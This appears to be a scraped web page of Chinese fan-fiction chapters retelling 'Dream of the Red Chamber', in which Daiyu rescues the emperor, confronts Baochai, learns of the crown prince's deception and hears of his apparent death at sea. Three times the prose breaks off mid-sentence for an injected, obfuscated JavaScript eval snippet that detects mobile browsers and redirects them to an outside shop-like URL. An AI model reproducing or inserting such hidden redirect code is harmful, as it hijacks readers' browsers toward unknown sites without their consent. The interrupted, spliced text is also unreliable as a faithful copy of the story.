黛玉装扮成华光公主的侍女,带着一些糕点、药物与水进入东宫。奇怪的是,当她进入东宫内院,还没开始推演八卦卜算机关,所以禁制都消失了,一路畅通无阻地进入花园之下的东宫密室。 才一踏入,一只梅花镖飞来,黛玉偏头闪过,听到一声惊呼:“姑娘!” “晴雯!”黛玉被眼前的情形吓了一大跳。 宣隆帝左脸上有一块碗底大的烫伤疤,手脚上都系了撕裂的布帛,布帛上隐有血痕。晴雯的腿上捆了木板,像是骨折了。外太公的头上也缠了布条,嘴唇发白。想是他们逃进来时触发机关受了伤。 “臣女林氏救驾来迟!”黛玉连忙卸下药箱和干粮,跪了下去。 一见黛玉,宣隆帝的神情异常激动,拉着她的手,仔细打量了好一会儿,“你是敏敏的女儿?眉眼像极了她!” 黛玉又是紧张又是疑惑,为何宣隆帝会知道她母亲的闺名。 “陛下您饿了许多天了,还是先吃点东西吧。”晴雯劝道。 宣隆帝这才放开手,抓起一块糕,有些迟疑地放进嘴里,眼睛却一瞬不瞬地盯着黛玉看,问她:“你是如何突破太子禁制,进入此地?” 黛玉微微一凛,道:“臣女熟知奇门、太乙之术。”她不能解释太子的禁制为何对自己破例,只能说明自己奇技在身。 “哈哈,不亏是敏敏的女儿,聪明绝顶!”宣隆帝开怀大笑,再无疑虑,一口接一口地吃点心。 在君王的注目下,黛玉打开药箱,一面为他更换了止血的纱布,一面向他说明外面的局势变化。 得知朝臣在林海的带领下稳住了局势,宣隆帝感慨道:“林家满门忠义之士,国之大幸。”他又一拳砸在了地板上,恨声道:“奈何阉狗戴权烫伤朕的脸,让朕不得出去整顿朝纲。” 王君效扶着额头说:“陛下不必担忧,多亏林姑娘带来的药中有烫伤膏,假以时日,陛下龙颜即可恢复。” 宣隆帝点了点头,拍了拍手上的糕点碎屑,说:“有如海在外稳定军心,朕也能安心这里待一段时间了。” 他见黛玉品貌出众,聪颖智慧,忠勇胆识颇胜贾敏昔年风采。眼下贾门大逆不道,协佐贼王谋叛,贾家庶出的三姑娘显然已不堪为太子妃,远不如这位林姑娘。 宣隆帝开口道:“朕敬佩林爱卿才高德劭,忠贞不屈,又见姑娘性情端淑,举止幽闲,想为太子求配,不知林姑娘意下如何?” 黛玉如遭雷轰,大惊失色,忙跪下道:“臣女不胜惶恐,蒲柳之姿不敢高攀元良储嗣,而况家父已答应了表兄的求亲,只待国孝期满,便过六礼了。” 她以头伏地,久久不敢起身,两手捏了一把汗。 怎么会这样,她不要嫁给太子啊! 许久才听到宣隆帝无奈地说:“哎,你起来罢,都怪那臭小子无福,被人捷足先登了。” 王君效心内觉得好笑,又觉得可怕,还不能说出其中缘由,一说就是太子伙同林次辅欺君了,只得附和道:“各人有各人的缘法,陛下也不必忧心,待太子凯旋,自有他的好姻缘。”问题还是丢给自作聪明的太子解决罢。 黛玉松了一口气,急着离开,便道:“陛下,臣女这就回禀公主,再补给充足的粮食药材与水进来。” “你只让华光一人知道就好,万不可声张。”宣隆帝嘱咐道。 黛玉应是,退出密室后,与华光公主通过气,又陆续送了必要的物品及粮食进来。 宣隆帝还让王君效跟在黛玉身边,学习如何解除东宫禁制。 出了东宫内院,黛玉才对外太公据实以告:“我也不知为何,东宫禁制不对我设限,待出了国孝之日,我再带陛下出来。还求外太公慢治龙颜,最好拖到明年春天,我将贾家三姐妹安排出嫁,否则陛下清算起来,贾门难免夷族之患。” “我明白了。”王君效点点头。 黛玉带着与永龄出宫,而探春为了表明自己与家族立场不同,陪侍在公主身边,一方面劝说大姐姐贾元春切勿贪财恋权脱簪待罪,一方面暗中为黛玉传递宫中消息。 自从摄政王水溶被刺客伤了根本,即便朝臣没有赶他下台,他也无法弄权。令不能行,禁不能止,身边也无心腹,坐在龙椅之畔,视他人之疑目,如盏盏鬼火,分外煎熬。 因为朝堂上由几位阁老协同理事,克尽职任,局势出现了一个微妙的平衡。 摄政王一派虽占据了高位,但他们疏谋少略尸位素餐,六部调度督率之事,依旧由阁臣掌控。 黛玉回到家中不久,门房来报贾家的麝月姑娘来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883561|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紫鹃迎她进来,笑道:“真是稀客了,如今状元爷身边也就你一个旧人了,你也舍得撇下他,来瞧我们。” 麝月也不吃茶,一脸忧虑地对黛玉说:“本来咱们府上的事不该来叨扰姑娘,只是史姑娘快被人逼死了,我到底服侍过她一场,知道林姑娘待她好,时常打发人来给她送衣裳吃食,这才厚脸来求林姑娘救她的命。” 黛玉听了这话不由蹙眉,让她仔细说来。 原来自薛宝钗封了乡君住回了贾府,就将戈试马起来,贾母从前让湘云、三春姊妹跟着凤姐协理家务,王夫人又让宝钗也馋和进来监察巡视。 宝钗以湘云要服侍太太,住怡红院太远了不方便,而梨香院没人住日久天长会招鼠虫为由,把湘云迁去了梨香院,自己霸占了怡红院,还处处言语挤兑湘云。 一会儿说她家破人亡,不该富丽闲妆了;一会儿又说她把老太太赏的东西都深藏密敛起来,老太太知道了岂不寒心,也失了大家闺秀的体面。 一会儿说她膏粱纨绔小姐,戥子、算盘没拿过,管不好家务;一会儿说她天煞孤星,不知嫌疑避讳,见人不张口,遇事撩开手才好。 湘云本就孤苦无依,宝玉待她也是平常,加之不得王夫人欢心,又被宝钗欺压排挤,简直动辄得咎,饱受磋磨委屈。 谁知今儿早上起来,宝钗就带着一帮粗使婆子,说要给梨香院刷漆修葺,直接闯进了史湘云的卧房,将她与钱槐二人堵在了房中。 钱槐是府中小厮,赵姨娘的内侄,原先跟着贾环上学,赵姨娘、贾环先后犯事,他也跟着丢了差失了势,成日里在外头吃酒赌钱,欠下一屁股债。也不知怎的,就让他摸进了梨香院…… 麝月叹道:“想来史姑娘虽然不拘小节,到底没走了大褶儿,不至于做下这样没脸的事,只是被人抓了现行,死活赖不去。 宝玉知道了这事,只说一场误会,等过了太上皇后的孝,自己纳史姑娘为贵妾便是。 王夫人哪肯答应,只叫人把史姑娘锁在栊翠庵中,叫几个秃歪剌老尼姑来,逼她剃发出家。 钱槐那边儿挨了一顿打,还叫嚣着一日夫妻百日恩,要与史姑娘弄取成配。 为这事儿,府里乱哄哄不成体统,只把老太太气个半死,病在床上,哭着说几辈子的老脸都丢尽了。” 黛玉听了直摇头,自从贾家失盗以来,云妹妹或许知道宝钗心里藏奸,到底缺乏心机手腕与之博弈抗衡,只能眼睁睁地见其阴行谲诈、沉机运算,一时不谨,竟误了自己的名声。 眼下也是时候把长林园收回来了。 黛玉点了二十个孔武有力的北戎男人,二十个矫健高胖的北戎女人,跟着她浩浩荡荡来到长林园。 门房见这架势,也不敢阻挡表小姐进门,只得小跑到贾府那边通知政老爷、王夫人。 黛玉先让北戎男人守在长林园门口,自己带着女人们进了栊翠庵。 那几个老尼正押着湘云,挥剃刀舞铁剪,要将她一把青丝给绞了。 幸而黛玉及时赶到,命北戎女人将几个老尼给撵出府去。 披头散法的湘云见到黛玉,爬起身直接生扑过来,搂着她嚎啕不止:“林姐姐,你果然来救我了……” 黛玉安慰她道:“云妹妹放心,我既来了,就是为你出头的。你先随紫鹃去潇湘馆休整片刻,我去收拾了薛乡君再来。” “从前的我真傻,竟不知你才是我的好姐姐。”湘云心安意定,望向黛玉犹如婴儿恋亲,雏鸟寻巢,满心满眼地依赖她。 见她如此痴心傻意,黛玉又不禁想,当初她见了薛宝钗也是这副模样,这姑娘看似英豪豁达,内心还是依赖人的娇娇性子。但愿她经此一劫,能够自省自立起来。 紫鹃将湘云送去潇湘馆后,黛玉又命那些北戎女人闯进怡红院,将薛宝钗的东西,全部都扔到大街上去。 宝钗正在王夫人处宽慰她老人家,听说林黛玉带人抄了她的怡红院,急忙携了她的乡君敕牒,赶了过来。 见到自己的东西又一次被人当街扔了出去,宝钗当即黑了脸,大怒道:“难不成林尚书下了诏狱,林丫头日子过不下去,就自暴自弃,也干起强盗贼的勾当?你没造化,该讨吃的命,只管求老太太、太太去,何必单欺负我好性儿!我如今也是朝廷钦封的慈善乡君,还容不得你在此造次!” 黛玉嗤的一声笑了,冷声道:“谁管你香君、臭君,你鸠占凤巢,脏了我的地方,我自然要洒扫庭除,清理秽物。” 宝钗气愤不过,又说:“你不过暂住几天潇湘馆,还真以为偌大的长林园就是你的凤凰巢了。” 黛玉两手一摊,歪头笑道:“偏不巧,长林园的房契地契就在我名下呢。” 105.吾皇黛玉第一百零五回 观书札晴雯鉴谎言,知真相黛玉警芳心 “怎么可能!”宝钗一脸不可置信的样子,扬声道:“修园子的钱是贾家出的,连我薛家也使了钱。你林家一分钱未出,凭什么说是你的东西?” 黛玉冷笑道:“请乡君自去顺天府查,长林园的房契地契都加盖了官府钤印,做不得假。” 话音刚落,贾政、王夫人、凤姐匆匆赶来,听得清清楚楚。 贾政年景渐老,名利大灰,自贾琏进爵了安荣郡王后,他也不想复职,凡事付于度外,只是看书颐养天年罢了,此时因长林园牵涉皇家,事关重大,才不得已被王夫人请了来。 王夫人摔手道:“这可是贵妃娘娘的省亲别院,与林家有何关系!” “大姐姐当初为何阴差阳错地成为了太妃,”黛玉并不理王夫人,转向贾政,一字一句地说:“舅舅难道忘了?” 贾政骤然变色,醒过神来,女儿封妃原系太子笔误,长林园亦由太子监造,太子本不想给这个恩典,全是看在妹婿林海的面上,这才额外恩荫了贾家。 “哪个府尹这样糊涂,竟将皇家别院倒卖出去,我让安荣郡王找摄政王评理去!”王夫人自以为有理,还在吵嚷叫嚣。 贾政更觉丢人,将王夫人拉走,厉声喝道:“无知蠢妇!修园子的钱,太子大半填了国库亏空!还不懂吗?陛下对贾家是明赏暗罚!” 凤姐才从贾琏处得知了朝堂上的变故,忙劝解王夫人道:“太太,从始至终我们都会错了意,还为此洋洋得意,沾沾自喜了这么多年。 什么安荣郡王,什么摄政王,如今都是有气的死人,朝堂上当家主事的人是林阁老!人林阁老早说了,要与贼王叛臣势不两立。” “啊?”王夫人闻言,登时腿酸眼晕,被贾政拉拽着走了。 众姊妹也闻讯赶来,迎春叹道:“这长林园竟是林妹妹的产业,咱们受你恩惠庇佑,才过了几年心净日子。” 惜春垂眸掐着手里的念珠,幽幽叹道:“这既是林家的园子,倒也省了口舌是非,只是咱们受之有愧,还是回去的好。” 黛玉拉住她的手,摇头道:“你们都安心住着便是,住一辈子都成。” 她又指向转身欲逃的宝钗说:“只把这咬群的骡子撵出去,大家干净。” 宝钗分明听见黛玉刻薄她,因自己理亏,也不敢回头驳正,慌慌张张地走了。 随她出门的,还有扔出来的一大堆包袱衾枕衣裙鞋袜,只把她恨得眼眶泛红,牙根痒极。 贾母在病床上听说了这事,便知林丫头闹这一出,等同宣告贾林两家彻底决裂了。 老人家槌床泪流:“当年国公爷知道后代子侄不过庸常之辈,指望林海提携,好让穷猿栖林,保个退处。偏生猴儿们又不知福,自断生路,与林家闹成这样。待我断了这口气,凭你们分路扬镳,反目成仇也罢了。偏生一口气横在肚子里,只能看在眼里,恨在心上。” 宝玉从翰林院下值回来,听说了这事,打算向黛玉负荆请罪。 黛玉闭门不见,只叫紫鹃出来传话说:“忠奸自古同冰炭,若二爷真想贾林两家和好如初,就请你杀了贼王,擒了反叛再来。” 宝玉无可分辩,不则一声,在长林园前伫立许久,任凭冷风朔气侵肌透骨。 一匹快马赶着宵禁的时辰,飞尘腾踏,疾驰而来,晴雯跃下马,就见宝玉像是木雕泥塑的一般,站在阶下立地不动。 “二爷,站这里做什么?”晴雯皱眉问道,见他不答也不理会,扭头大力拍门,急切地大喊:“快开门,我有要紧的事跟姑娘说。” 偏生里头门房才换了北戎人,没听出是晴雯的声音,只当是贾府的丫鬟借故骚扰,所以并不开门。 晴雯使性子骂了两句,里头的人说:“凭你是谁,林姑娘说了,闲杂人等不许入内。” 宝玉见她凤眼圆睁,高声大气,一脸愤慨的样子,忙拉着她问:“出什么事了?” 晴雯被人拒之门外,越发动了气。 她在东宫密室,无意间翻到了一本手札,里头详细写了太子禛钰的“夺泪”复仇计划。 亏她还一度以为“表公子”用心赤诚,将来准是林姑娘的佳婿,谁知竟看走了眼! 她总归要趁太子还没得手前,把真相告诉林姑娘。 如此一来,林姑娘免不了伤心一场,可长痛不如短痛,趁早撩开手,再觅良缘。 眼下她看见某人,仍痴心不改地为林姑娘风露立前庭,不由心中微动。 “二爷我告诉你一桩事,还求你往后多劝着姑娘,不要太过愤懑伤心……” 宝玉默默听着,他本就知道王禛钰的真实身份是皇太子,当听到那个“始乱终弃”的计划时,他瞬间想起在王太医家所见的情形。 一双秋波情目,骤然燃起了愤怒的火苗,和一丝极力压抑的狂喜。 渐渐的,心头的狂喜战胜了愤怒,他终于明白茫茫师父为何说金榜题名后,便是得配佳人时。 原来命运的转机就在这一刻! 这一回,他再也不会怯懦逃避,无论如何也要将林妹妹娶进家门。 宝玉离开后,晴雯终于叩开了长林园的大门,直奔潇湘馆而去。 黛玉忙问她:“你的腿伤好了?陛下的脸也好了?你怎么突破太子禁制出来的?” 晴雯忙道:“我的腿已经长好了,陛下的脸还要几个月才能祛疤。自从姑娘进去一趟后,就解了禁制,我试过几次,进出都没有机关暗器了。因有十万火急的事,我才找京营节度使谢鲸拿了腰牌出宫的。” 一想到林姑娘差点被太子骗心偏身,晴雯的心就酸楚难耐,一把抱住黛玉的腰说:“眼下我是冒了被杀头的罪名,趁陛下喝了安神汤睡着了,先出来给姑娘报太子的消息来了!” “这话怎么说!”一听太子二字,黛玉神色骤变,不知怎的,一颗心突突地往上撞。 晴雯鼻尖一酸,拉着黛玉的手哭道:“姑娘,我们都被太子给骗了……” 当年荣国公之女贾敏喜欢女扮男装,游戏江湖,曾与潜邸时的宣隆帝私交甚笃。 一次偶然机会,宣隆帝发现贾敏是女子后,就不满足于金兰之交,想娶她为妻,便让上皇诏告天下,广选秀女。 彼时为避免高门阀阅以外戚身份干政,圣寿帝要求所有秀女,在参选太子妃的过程中,统一服饰妆容,且不得透露姓名及家世,经过层层筛选淘汰,最后留五十人,由太子亲择。 偏偏贾代善因寻找鹓鸾公主有功,贾敏被上皇获准不必入宫选秀。 恰时衡山节度使尹奉贤之女尹思卿,容貌与贾敏极为相似,阴差阳错地得到了太子亲赐的玉如意。 因西州叛乱上皇被迫离京,宣隆帝趁势登基。 尹思卿略过太子妃,直接成为了皇后,两年后,她才知道自己之所以能中选,全靠一张与贾敏相似的脸。陛下对自己的恩宠及“孝敏”的徽号,无不承载着对贾敏的思念与爱意。 而不曾参选的贾敏,已经嫁给了探花郎林如海。并且时常以巡盐御史的名义,递呈奏折谏言干政,不但褫夺了衡山节度使尹奉贤的恩爵与职务,还让尹氏一族仕路日塞,不得出头。 得知真相的孝敏皇后,无法接受自己只是个替代品的事实,而尹氏一族又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897689|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凋零殆尽,她为此忧郁了十年,整日以泪洗面,神情恍惚,无法照看太子禛钰。 年幼的太子,不得不离开宫闱,独自去道观生活。 “太子之所以要这样欺负姑娘,正是为了替孝敏先皇后报仇。他的复仇手札里写明了,他要如何伪装成姑娘的表哥,与你拉近距离。 又如何步步为营,展示文采武功,让姑娘为之倾心。再如何施苦肉计,让姑娘钟意爱慕,引诱你献身。最后再将姑娘弃如敝屣,让你终身无靠,流尽眼泪。 孝敏皇后的不幸又不干姑娘的事,他一腔怨愤无处发泄,就想出这样恶毒的法子欺辱姑娘。天下竟有这样黑心烂肺的男人……” 黛玉的脸色渐渐发白,嘴唇隐隐颤抖,待她千好万好的表哥,为她身替病苦的表哥,与她缠绵恩爱的表哥,原来就是萦绕在午夜暗影里的东宫储君! 杜门在震,困我者东宫也。 竟是这个意思…… 怪不得他从来不讲自己的童年,也不向自己介绍他的父母,更对他为何会做道士讳莫如深。 最初当她看见禛钰那双黑白分明的瞳孔时,恍惚觉得寰宇世间所有的正邪黑白尽在他眼中,对他的靠近,会不由自主地怀惕自警。 然而随着他们关系的不断拉近,她只看见了他眸中澄明无瑕的部分,却忽视了潜藏在混沌中的瞒哄。 其实若非父亲、王正堂有意替太子遮瞒身份,以她的智慧,如何不能猜到这样的结果呢。 说到底,还是太子煞费心机,站在男人的立场,先用实力征服了她的父亲罢了。 沉默了良久,黛玉才缓缓抬眸,轻声说:“他又没抓挠我的银子去,便是告官,刑律上也没有赚人眼泪,算作奸犯科这条王法。 这些年把他送我的东西、付出的心血盘算起来,他早折了本。有这样慷慨愚蠢又专精伺候人的骗子,我才是得了便宜的那个。 这有什么大不了的,也值得你冒死回来告诉我,你趁早回宫,好生侍奉陛下。” 听着林姑娘出奇平静的语气,晴雯也是始料未及。 原以为依林姑娘从前多情善感的性子,少不得要哭上几回,骂一骂太子。没曾想她竟如此淡然,神情中一丝难过意味都没有。 也是,表少爷,啊呸,臭太子虽说对林姑娘不错,可姑娘矜持守礼,对太子并未有太深厚的感情,眼下知道受骗了,满不在乎才是对的。 都是她大惊小怪了,晴雯如此想来,没再耽搁,赶紧告辞回宫去了。 黛玉独自坐在房中,思量着太子的事,心里正没个遣怀,忽见湘云揾泪进来。 “林姐姐,我想与宝玉解除婚约,你帮我看看,这退婚书写得对不对?” 黛玉接过她写的文书来看,字里行间都沁了泪渍。看到末尾一句“史氏心甘意愿退亲,贾家并无勒逼套哄等情,为免生枝节,立退字为照”不觉可悲可叹。 湘云泣道:“我名声尽毁,不甘为妾,不愿待在贾家了。” 黛玉不由联想到了自己,说来按太子原定的复仇计划,她被骗心骗身,也该长恨长泪了。 可她毕竟借太子之势,习学了帝王权术,开阔了眼界心胸,不但有数技傍身,还有丰厚资产,部曲千余。即便一辈子不嫁男人,也会活得很好。 什么贞洁名声,流言蜚语,那些无关生死的事,都是芥豆之微,还撼不动她分毫。 想当年,临朝称制的武则天,见到骆宾王写的《讨武曌檄》,面对犀利的诟骂,她还感慨宰相失职,错失了人才,这就是帝王心胸了。 与其怨天尤人,不如振奋精神,想想未来的路该怎么走。 106.吾皇黛玉第一百零六回 杀贼王宝玉转乾坤,胜番夷太子传讣讯 黛玉对湘云说道:“自伏羲氏制嫁娶、女娲立媒约,肇始文明。而今的婚律看似鼓励男女结两姓之好,说到底只是男女共同经营家族经济,携手抵御人生无常的一种办法。而男子们偏要扯起纲常人伦大旗,美化对女子自由的限制以及经济支配权的侵夺。 说到底,还是咱们女儿家在父权当道的时代,力有不逮,且缺少抗争的手段和智慧,才丧失了对自己命运的主宰权。” 这一席深中肯綮的话,让湘云震撼不已,她素来胆大,也不曾听过这样有悖常理的话,可细细思之,又未尝不是如此。 比如富贵人家的男子能交际贸易、为官做宰,妻子就只能壅蔽小小的四角天空里,除了为丈夫儿女交际应酬,一生出不得几回垂花门。 还有那不中用的男子,心安理得地依靠女子嫁妆养活。寻常百姓家的女子即便下地劳作,针绩纺线,哪怕是能自食其力养家糊口了,也只能冠以“补贴家用”的名头。 而况女子产育子女被视为理所必当,没有生育则形同有过,操持家务却不能视为对家计民生的贡献,想想还真是不公平。 黛玉将退婚书交还给湘云,继续说道:“你的婚姻大事当由你自己做主,不容旁人置喙,我不会建议你退不退婚,只希望你不后悔自己的选择。” 湘云听了,十分感慨,先前委决不下的心,也渐渐平复了,神安气定地说:“我已经决意退婚了。我而今孑然一身,又背负了骂名,对贾府而言是拖累。 可转念想,贾府投靠谋国篡权的摄政王,于我而言何尝不是又一次家破人亡的危机。不如就此撂开手,彼此便宜。” 听了她这番话,黛玉才认同地点了点头,世家大族的婚姻不过是利益的勾和,男女双方是否情投意合,根本不足为虑,重要的是两姓人家能否从联姻中,获得长远的利益。 湘云能放下儿女情长,站在家国大义上考虑未来,在一无所有的时候痛快放手,就是一次成长。 “我也想同邢姑娘一样,做女夫子。” “从前我也觉得你特别适合做蒙师,因为你就像个长不大的孩子,爱玩爱笑,待人亲和,爽朗活泼。”黛玉话锋一转,双手负后在湘云面前踱步,“如今我想明白了,与其让你继续像孩子一样,活在纯真世界里,不如直面风霜刀剑,去做女中诸葛、巾帼英雄。” 一番话再度激起了湘云的英豪气概,她默默点头道:“那林姐姐要我如何做?” 黛玉微抬下颌,傲然一笑:“你既要做女中诸葛,你就奉我为主,做我林家家臣,供我驱使。我虽不如刘玄德爱哭,大略还能做你的好大哥。” “那不成!”湘云噘嘴反驳,而后闭着眼摇头晃脑地说:“玄德三顾茅庐才得卧龙,我要高卧不起,等林大哥三访才行。” “呸!这猴儿惯不得,就顺着竿子爬上来了!”黛玉扭头,哼了一声。 “殊不知卧龙先生,神通广大,多智近妖,还有一诨号叫‘孙行者’,最是伶牙利爪。”湘云大笑着伸手向她乱挠。 黛玉素来触痒不禁,左右闪躲,笑得喘不过气来,口里乱叫:“孔明先生!大圣妹妹!你再闹,主公就要痒死了。” 翌日,湘云独自去了贾府,与宝玉正式解除了婚约,王夫人很是趁愿,贾母见如何也劝止不住,只得拿出体己补偿湘云,湘云一文不取。只说以后依傍林姐姐过活,贾母才稍稍安心。 湘云人虽娇憨,到底是侯门千金出身,聪慧善学,很快就能上手庶务经济。自从有了她的陪伴辅佐,黛玉管理部曲,处理家务更加得心应手,事半功倍。 每有闲暇之际,夜起相思之时,有了湘云这个话口袋、诗疯子,黛玉还得打叠精神应付她的聒噪。于是乎,对某人伪装成表哥,诳惑她的气闷愤怒,也随着时间推移渐渐释怀了。 毕竟,她也未吃什么亏,就算曾委身于禛钰,彼时也是快悦尽欢,事后并不后悔。 而她颠来倒去盘算思量,还是自己赚了太多便宜,以至于想恨那个臭男人也恨不起来。 相反因为粤海战事持续胶着,鹤童也久不归,眼见年关将近,让她的担心牵挂与日俱增。 朝堂上,龙椅之畔的摄政王,已被群臣逐步架空的权力。 但为了稳住与水溶同盟的鞑靼人,以林海为首的内阁,维系了一个相对平衡的局面,并未驱逐水溶下台。实际默认了上皇复辟的法理依据,一切等宣隆帝“病愈”,对摄政王三司会审再说。 展眼又是一年除夕,华光公主携继后置办年事,摄政王无由在宫中守岁,只得回了从前旧宅。 长府官置办了大戏,又招来几位美姬与之相伴,水溶嫌烦厌吵,挥手叫去。自己对着一桌美味珍馐,在灯下怅然独酌,凄清得很。 到了下半夜,近卫来报:“安荣郡王府的贾翰林来了。” 水溶心里有一丝诧异,昨儿给安荣、安宁两府送了字联、荷包,两位郡王都避而不见,只打发婆娘小子出来搪塞,这会子贾瑛不在家守岁,怎么跑我这儿来了?莫非因为被人退了亲,心里不痛快? “请他进来。” 见宝玉沉着脸,袖手迈进门来,水溶起身相迎,拱手道:“世兄怎么这会子来了?可是遇见了什么难事?” 宝玉一言不发,当水溶伸手拉他的时候,从袖中拔刀猛刺其胸,透入心窝,鲜血四溅。 旁边的长府官、侍从,见摄政王先还嗫嚅着唇要说些什么,很快倒在桌上,仍睁眼指着宝玉,末后手指落下来,便哐当一声滚到地上不动了。 众人抢上来时,摄政王已经没气了。 长府官又急又慌,大骂宝玉:“没王法的混账东西!”又高声喊护卫进来,“快来人抓刺客!摄政王遇刺了!” 一群护卫齐刷刷抽刀出来,要砍宝玉。 宝玉不躲不避,一道银芒闪过,一个癞头和尚从外面跑来,喊道:“好徒儿,吾来救你!” 说着,拉了宝玉,夺门而出,师徒两个瞬间杳然无踪。 当下长府官去各处报丧,又叫京营节度使谢鲸派人将安荣、安宁二郡王府围住,捉拿凶犯贾瑛。 谢鲸得知贾瑛竟杀了摄政王,很是意外,眼下他这个内应也不必装了,反将长府官及摄政王亲兵捉住,羁押看管起来。 又带人围困安昌郡王府,哪知王子腾匆忙换了个老婆子的衣裙,跟着倒夜香的车子,一路混出去了。看在从前交好的份上,谢鲸对贾家东西两府网开一面,让他们趁隙自谋生路。 摄政王遇刺及宣隆帝康复、戴权逃窜的消息,几乎同时送到了黛玉手里。 “万万想不到宝玉这个鼠胆子,竟真的杀了贼王!”湘云激动得声音都在发抖,双手合十道:“我只保佑他安生躲在外头,等明儿宣隆帝还政了,将功赎罪,饶贾府众人死罪。” 黛玉摇头一叹,宝玉此举也只能救他一人罢了。 大年初一,林府及长林园都换了门神、桃符,内外焕然一新。 而比邻长林园的安荣、安宁郡王府那是一点儿也不安宁,乱烘烘人来人往,阖家人等心中皆惶惶不定,贾母及有诰封者,也不敢入宫朝贺。 安昌郡王府被京营兵勇给围了,除了王子腾撇下一家老小独自逃了,其他的女人都吓破了胆子,有怀刃自裁、也有上吊撞墙的。 安荣郡王贾琏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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凤姐撵上去拽住那斗篷,将人掀翻在地,一看果然就是戴权!她当即拔出倭刀,咬牙狠命向他项上一抹,殷红的血水溅了一裙…… 此时,码头处传来了水师呜呜震响的号角,桅杆徐徐升高,远赴粤海的中原舰队,缓缓推波而来。 甲板上旌旗招展,精神抖擞的水卒们振臂欢呼:“粤海平靖,王师凯旋!” 码头上的人们都欢呼雀跃起来,凤姐闭上眼,迎着晨光,微微地笑了起来…… 长林园中,紫鹃拿了邸报来说水师得胜还朝的消息,黛玉心里虽高兴,面上仍不肯显露出来。暗忖:等明儿那诌慌的冤家来了,且看她出奇招报复回去罢。 她正眼也不瞧邸报,吩咐紫鹃说:“把妆奁匣子开了,通草花都搁抽屉里锁好;海月纸、湘妃笔也卷到包袱里,拿狮子镇住;麦芽糖都分给孩子们吃了,那玻璃描金花盖盒收起来。” 紫鹃捧了空空如也的玻璃花盖盒,揭开盖给黛玉瞧:“表少爷临走前送来的麦芽糖,说好一天一颗,早被姑娘三不五时偷吃完了!哪还有多的分出去。” 黛玉一噎,撇撇嘴没再说话,将袖里的珐琅珍珠怀表,恨恨地锁进了螺钿匣中。 转身拿过紫鹃手里的花盖盒,咬牙作势要往地上砸,偏又狠不下心来,抱在手里干瞪眼。 “林姑娘,门房传话说鹤童回来了!”邢岫烟掀帘进来,兴高采烈地说。 黛玉忘了放下花盖盒,一路抱着,小跑去了小花厅。 鹤童听见雀跃地脚步声,抬起一双泪眼,噗通一声,跪在黛玉面前,哭道:“阿林,天不佑我族人,我们的萨满死了……” 黛玉怔了,如遭轰雷掣电一般,默了许久才僵着脖子问:“你说谁死了?” “阿真死了……” 只听“豁琅”一声,玻璃花盖盒落到地上,摔得粉碎…… 107.吾皇黛玉第一百零七回 擒反叛赐婚情悱恻,葬残红落英死缠绵 黛玉的呼吸凝滞了,嘴角微微抖动,忽然上前一步,踏碎一地残璃,将鹤童拽起来,咬牙切齿地问:“他怎么会死!你亲眼看见了?尸体在哪里?” 鹤童泪眼婆娑,模糊看见黛玉头上摇曳的挂珠钗闪动着荧光,艰难开口道:“我们赶到粤海的时候,正遇见阿真准备了百余只装载膏油草料的火船,趁着巨大的南风,准备攻击佛朗机人的船队。我才知道他不仅是你的表哥,还是中原的太子。 佛朗机人的船转速缓慢,调度不及,很快就燃烧起来。阿真又派人潜入水中,将其他船舰凿漏,让我们族人去舰船上卸走佛朗机炮,收缴火铳,活捉炮手。 他亲自带领将士跃上敌船,与佛朗机人厮杀,佛朗机人大败跳海逃命。偏生一艘着火的大船快沉了,桅杆倒下,把阿真和章明扫落海中,我们在海上搜寻了十天,都没有见到他们的身影,只找到了他的头盔与鞲蔽……” 鹤童从怀中取出一对五星绣纹的鞲蔽,捧到了黛玉面前,“这鞲蔽是阿真一直揣在怀中当护身符用的。” 黛玉看着自己一针一线绣成的鞲蔽,紧紧攥着上面的系带,仿佛那系带上缠着她的命,身子微微颤抖,眼里除了难以置信,只余惊痛的绝望。 紫鹃拿着扫帚撮箕走上来,脑中嗡的一响,万万没想到表公子竟然是当朝储君,更让人猝不及防的是他就这样死了…… 她担心地喊了一声:“姑娘!”只见林姑娘摇摇颤颤地站在那里,惨白的脸上隐约有泪在往下淌,眼睛里已没有了灵动的光,仿佛一株无知无觉的弱草,在风中静静飘摇。 许久,黛玉才撑起一口气来,缓声道:“鹤童,他还有什么话交待你的,你一字一句不许瞒我。紫鹃,把这里收拾一下。” 紫鹃答应了一声,低头清理地上的玻璃碎,想起从前表少爷与姑娘的亲密无间,忍不住鼻尖发酸。 鹤童深吸了一口气,强自镇定道:“阿真他……” 黛玉撑在扶手上,徐徐坐下来,打断他道:“还是称他为太子罢。” “太子让我收缴几门佛朗机炮,绑来炮手送回京城,希望姑娘能仿制出佛朗机炮,并加以改进,以其人之道还治其人之身。”鹤童掀开身旁的红绸,露出一门形如纺锤的佛朗机长炮管。 “那几个金发碧眼的炮手,我已经送到下房里,叫人看守起来了。其余炮管都在我屋里放着的。” 